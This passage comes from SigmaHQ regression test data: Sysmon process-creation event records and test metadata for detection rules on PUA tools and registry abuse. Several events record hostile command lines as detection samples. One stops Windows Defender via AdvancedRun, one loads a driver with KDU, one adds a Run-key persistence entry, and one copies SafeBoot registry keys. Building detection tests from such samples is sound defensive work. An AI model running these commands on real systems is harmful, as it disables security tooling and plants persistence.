trustdmp\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\AdFind\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-91E6-68F9-0F94-460000000000\",\n \"LogonId\": \"0x46940f\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=B0C4A9C1D8C4641A161B3DBF111454DF,SHA256=484DD00E85C033FBFD506B956AC0ACD29B30F239755ED753A2788A842425B384,IMPHASH=680DAD9E300346E05A85023965867201\",\n \"ParentProcessGuid\": \"14207D89-1136-68FA-2D13-000000003F02\",\n \"ParentProcessId\": 1648,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage/info.yml",
"content": "id: 5a7dd11d-3b65-49b3-ac81-a9f855742bbc\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 9a132afa-654e-11eb-ae93-0242ac130002\n title: PUA - AdFind Suspicious Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage/9a132afa-654e-11eb-ae93-0242ac130002.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner/bef37fa2-f205-4a7b-b484-0759bfd5f86f.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-23T10:01:48.031627Z\"\n }\n },\n \"EventRecordID\": 650317,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3076,\n \"ThreadID\": 4936\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-23 10:01:48.012\",\n \"ProcessGuid\": \"14207D89-FD0C-68F9-D610-000000003F02\",\n \"ProcessId\": 2064,\n \"Image\": \"C:\\\\Program Files (x86)\\\\Advanced IP Scanner\\\\advanced_ip_scanner.exe\",\n \"FileVersion\": \"2.5.4594.1\",\n \"Description\": \"Advanced IP Scanner\",\n \"Product\": \"Advanced IP Scanner\",\n \"Company\": \"Famatech Corp.\",\n \"OriginalFileName\": \"advanced_ip_scanner.exe\",\n \"CommandLine\": \"\\\"C:\\\\Program Files (x86)\\\\Advanced IP Scanner\\\\advanced_ip_scanner.exe\\\"\",\n \"CurrentDirectory\": \"C:\\\\Program Files (x86)\\\\Advanced IP Scanner\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-91E6-68F9-0F94-460000000000\",\n \"LogonId\": \"0x46940f\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=B3411927CC7CD05E02BA64B2A789BBDE,SHA256=4B036CC9930BB42454172F888B8FDE1087797FC0C9D31AB546748BD2496BD3E5,IMPHASH=B7378C9136E7511821BFD495ADBE3CB0\",\n \"ParentProcessGuid\": \"14207D89-FCFD-68F9-D010-000000003F02\",\n \"ParentProcessId\": 3240,\n \"ParentImage\": \"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-F5HMR.tmp\\\\Advanced_IP_Scanner_2.5.4594.1.tmp\",\n \"ParentCommandLine\": \"\\\"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-F5HMR.tmp\\\\Advanced_IP_Scanner_2.5.4594.1.tmp\\\" /SL5=\\\"$E0218,20439558,139776,C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\Advanced_IP_Scanner_2.5.4594.1.exe\\\"\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner/info.yml",
"content": "id: 6629d68a-c1b8-4eb8-bfa6-7dbd5018d922\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: bef37fa2-f205-4a7b-b484-0759bfd5f86f\n title: PUA - Advanced IP Scanner Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner/bef37fa2-f205-4a7b-b484-0759bfd5f86f.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advanced_port_scanner/54773c5f-f1cc-4703-9126-2f797d96a69d.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-23T10:11:05.435406Z\"\n }\n },\n \"EventRecordID\": 650602,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3076,\n \"ThreadID\": 4936\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-23 10:11:05.414\",\n \"ProcessGuid\": \"14207D89-FF39-68F9-1A11-000000003F02\",\n \"ProcessId\": 7316,\n \"Image\": \"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\2\\\\Advanced Port Scanner 2\\\\advanced_port_scanner.exe\",\n \"FileVersion\": \"-\",\n \"Description\": \"Advanced Port Scanner\",\n \"Product\": \"Advanced Port Scanner\",\n \"Company\": \"Famatech Corp.\",\n \"OriginalFileName\": \"advanced_port_scanner.exe\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\2\\\\Advanced Port Scanner 2\\\\advanced_port_scanner.exe\\\" /portable \\\"C:/Users/SwachchhandaP/Downloads/\\\" /lng en_us\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\2\\\\Advanced Port Scanner 2\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-91E6-68F9-0F94-460000000000\",\n \"LogonId\": \"0x46940f\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=4FDABE571B66CEEC3448939BFB3FFCD1,SHA256=8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A,IMPHASH=31E3E9D3DDE3C0C0F2C167B89B8E269C\",\n \"ParentProcessGuid\": \"14207D89-FF2E-68F9-1911-000000003F02\",\n \"ParentProcessId\": 3972,\n \"ParentImage\": \"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-90PLO.tmp\\\\Advanced_Port_Scanner_2.5.3869.tmp\",\n \"ParentCommandLine\": \"\\\"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-90PLO.tmp\\\\Advanced_Port_Scanner_2.5.3869.tmp\\\" /SL5=\\\"$E0634,19769177,139776,C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\Advanced_Port_Scanner_2.5.3869.exe\\\"\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advanced_port_scanner/info.yml",
"content": "id: 998b5845-1623-4b2f-b9d1-bfc402172d45\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 54773c5f-f1cc-4703-9126-2f797d96a69d\n title: PUA - Advanced Port Scanner Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_advanced_port_scanner/54773c5f-f1cc-4703-9126-2f797d96a69d.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advancedrun/d2b749ee-4225-417e-b20e-a8d2193cbb84.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-23T10:24:32.948699Z\"\n }\n },\n \"EventRecordID\": 650887,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3076,\n \"ThreadID\": 4936\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-23 10:24:32.936\",\n \"ProcessGuid\": \"14207D89-0260-68FA-9511-000000003F02\",\n \"ProcessId\": 4220,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\advancedrun-x64\\\\AdvancedRun.exe\",\n \"FileVersion\": \"1.51\",\n \"Description\": \"Run a program with different settings that you choose.\",\n \"Product\": \"AdvancedRun\",\n \"Company\": \"NirSoft\",\n \"OriginalFileName\": \"AdvancedRun.exe\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\advancedrun-x64\\\\AdvancedRun.exe\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\advancedrun-x64\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-91E6-68F9-0F94-460000000000\",\n \"LogonId\": \"0x46940f\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=3F44DD7F287DA4A9A1BE82E5178B7DC8,SHA256=E8000766C215B2DF493C0AA0D8FA29FAE04B1D0730AD1E7D7626484DC9D7B225,IMPHASH=65F94FEE8F6FA846B2B29BDD0721C096\",\n \"ParentProcessGuid\": \"14207D89-91E9-68F9-E104-000000003F02\",\n \"ParentProcessId\": 452,\n \"ParentImage\": \"C:\\\\Windows\\\\explorer.exe\",\n \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advancedrun/info.yml",
"content": "id: 5f4db274-e3e6-45cd-a5a3-ef03f678dd28\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: d2b749ee-4225-417e-b20e-a8d2193cbb84\n title: PUA - AdvancedRun Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_advancedrun/d2b749ee-4225-417e-b20e-a8d2193cbb84.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user/fa00b701-44c6-4679-994d-5a18afa8a707.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-23T10:19:13.088214Z\"\n }\n },\n \"EventRecordID\": 650834,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3076,\n \"ThreadID\": 4936\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-23 10:19:13.085\",\n \"ProcessGuid\": \"14207D89-0121-68FA-6E11-000000003F02\",\n \"ProcessId\": 6448,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\advancedrun-x64\\\\AdvancedRun.exe\",\n \"FileVersion\": \"1.51\",\n \"Description\": \"Run a program with different settings that you choose.\",\n \"Product\": \"AdvancedRun\",\n \"Company\": \"NirSoft\",\n \"OriginalFileName\": \"AdvancedRun.exe\",\n \"CommandLine\": \"AdvancedRun.exe /EXEFilename \\\"C:\\\\Windows\\\\System32\\\\sc.exe\\\" /WindowState 0 /CommandLine \\\"stop WinDefend\\\" /StartDirectory \\\"\\\" /RunAs 8 /Run\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\advancedrun-x64\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-91E6-68F9-0F94-460000000000\",\n \"LogonId\": \"0x46940f\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=3F44DD7F287DA4A9A1BE82E5178B7DC8,SHA256=E8000766C215B2DF493C0AA0D8FA29FAE04B1D0730AD1E7D7626484DC9D7B225,IMPHASH=65F94FEE8F6FA846B2B29BDD0721C096\",\n \"ParentProcessGuid\": \"14207D89-00ED-68FA-6611-000000003F02\",\n \"ParentProcessId\": 700,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user/info.yml",
"content": "id: 0f52b7ec-72e4-4362-acf5-b5558ff58323\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: fa00b701-44c6-4679-994d-5a18afa8a707\n title: PUA - AdvancedRun Suspicious Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user/fa00b701-44c6-4679-994d-5a18afa8a707.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_kdu_driver_tool/e76ca062-4de0-4d79-8d90-160a0d335eca.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-01-23T04:01:30.178887Z\"\n }\n },\n \"EventRecordID\": 23388,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2026-01-23 04:01:30.177\",\n \"ProcessGuid\": \"0197231E-F29A-6972-6716-000000000800\",\n \"ProcessId\": 12200,\n \"Image\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\kdu.exe\",\n \"FileVersion\": \"1.1.1.2105\",\n \"Description\": \"Kernel Driver Utility\",\n \"Product\": \"KDU\",\n \"Company\": \"UG North\",\n \"OriginalFileName\": \"Hamakaze.exe\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\xodih\\\\Downloads\\\\kdu.exe\\\" -prv 1 -map MyDriver.sys\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=8ED32ACE2FBCE50296D3A1A16D963BA7,SHA256=5A08ECB2FAD5D5C701B4EC42BD0FAB7B7B4616673B2D8FBD76557203C5340A0F,IMPHASH=404E2902C47CF33EE0616252BFBCF67B\",\n \"ParentProcessGuid\": \"0197231E-F25A-6972-5F16-000000000800\",\n \"ParentProcessId\": 13764,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_kdu_driver_tool/info.yml",
"content": "id: 199a332f-7017-4afa-81a4-407fb5cc345d\ndescription: N/A\ndate: 2026-01-23\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: e76ca062-4de0-4d79-8d90-160a0d335eca\n title: PUA - Kernel Driver Utility (KDU) Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_kdu_driver_tool/e76ca062-4de0-4d79-8d90-160a0d335eca.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_reg_add_run_key/de587dce-915e-4218-aac4-835ca6af6f70.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:35:26.043284Z\"\n }\n },\n \"EventRecordID\": 256890,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:35:26.041\",\n \"ProcessGuid\": \"5AB40FD1-400E-68F9-6331-000000003B02\",\n \"ProcessId\": 6032,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"REG ADD \\\"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\" /V \\\"softoz\\\" /t REG_SZ /F /D \\\"C:\\\\Users\\\\admin\\\\AppData\\\\Roaming\\\\sihostt.exe\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=EB20E119AAF500E2752DC5A588B54C12,SHA256=C6A168C81654F5901E864C8FD61FA54F084CD8B2E0A8AC1B83EACF9EB4484F75,IMPHASH=E23A24F7BA9B35B3E9706724F6749860\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_reg_add_run_key/info.yml",
"content": "id: e60e5322-dc51-4969-be3b-12caad8a9276\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: de587dce-915e-4218-aac4-835ca6af6f70\n title: Potential Persistence Attempt Via Run Keys Using Reg.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_reg_add_run_key/de587dce-915e-4218-aac4-835ca6af6f70.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_reg_add_safeboot/d7662ff6-9e97-4596-a61d-9839e32dee8d.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:38:06.571958Z\"\n }\n },\n \"EventRecordID\": 256915,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:38:06.570\",\n \"ProcessGuid\": \"5AB40FD1-40AE-68F9-7631-000000003B02\",\n \"ProcessId\": 2456,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"reg copy hklm\\\\system\\\\CurrentControlSet\\\\services\\\\acpi hklm\\\\system\\\\CurrentControlSet\\\\control\\\\safeboot\\\\network\\\\nas /s /f\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=EB20E119AAF500E2752DC5A588B54C12,SHA256=C6A168C81654F5901E864C8FD61FA54F084CD8B2E0A8AC1B83EACF9EB4484F75,IMPHASH=E23A24F7BA9B35B3E9706724F6749860\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_reg_add_safeboot/info.yml",
"content": "id: 6f781d8b-1b6c-408b-a90d-08aceb2a14d0\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: d7662ff6-9e97-4596-a61d-9839e32dee8d\n title: Add SafeBoot Keys Via Reg Utility\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_reg_add_safeboot/d7662ff6-9e97-4596-a61d-9839e32dee8d.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_reg_system_language_discovery/c43a5405-e8e1-4221-9ac9-dbe3fa14e886.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-01-19T16:11:39.281042Z\"\n }\n },\n \"EventRecordID\": 553,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 5928,\n \"ThreadID\": 9720\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"DESKTOP-54JCEU5\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2026-01-19 16:11:39.278\",\n \"ProcessGuid\": \"34E9093F-57BB-696E-7001-000000000300\",\n \"ProcessId\": 4392,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.19041.1 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Nls\\\\Language\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\marco\\\\\",\n \"User\": \"DESKTOP-54JCEU5\\\\marco\",\n \"LogonGuid\": \"34E9093F-54FA-696E-7C2B-070000000000\",\n \"LogonId\": \"0x72b7c\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC\",\n \"ParentProcessGuid\": \"34E9093F-57AD-696E-6E01-000000000300\",\n \"ParentProcessId\": 12188,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"DESKTOP-54JCEU5\\\\marco\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_reg_system_language_discovery/info.yml",
